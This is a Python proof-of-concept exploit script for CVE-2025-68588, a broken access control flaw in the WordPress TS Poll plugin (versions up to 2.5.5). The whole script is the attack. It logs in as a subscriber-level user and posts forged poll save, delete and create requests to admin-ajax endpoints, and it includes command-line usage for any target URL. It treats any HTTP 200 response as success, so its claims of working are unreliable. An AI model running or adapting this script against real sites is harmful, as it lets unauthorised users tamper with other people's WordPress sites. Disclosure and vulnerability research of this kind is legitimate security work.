CVE-2025-68588

# CVE-2025-68588 PoC - TS Poll Broken Access Control # Target: WordPress site with TS Poll plugin <= 2.5.5 # This PoC demonstrates how a low-privilege user can exploit missing authorization import requests import sys def exploit_ts_poll(target_url, username, password): """ Exploit missing authorization in TS Poll plugin Low-privilege user can perform admin actions """ session = requests.Session() # Step 1: Login as low-privilege user (subscriber role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Logged in as low-privilege user") # Step 2: Exploit broken access control # Try to access admin functionality without proper authorization admin_endpoints = [ '/wp-admin/admin-ajax.php?action=ts_poll_save', '/wp-admin/admin-ajax.php?action=ts_poll_delete', '/wp-admin/admin-ajax.php?action=ts_poll_create' ] for endpoint in admin_endpoints: exploit_url = f"{target_url}{endpoint}" exploit_data = { 'poll_id': '1', 'poll_question': 'Injected Question', 'poll_answers': ['Answer 1', 'Answer 2'] } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[+] Successfully accessed: {endpoint}") print(f"[+] Response: {response.text[:200]}") return True if __name__ == '__main__': if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_ts_poll(target, user, pwd)

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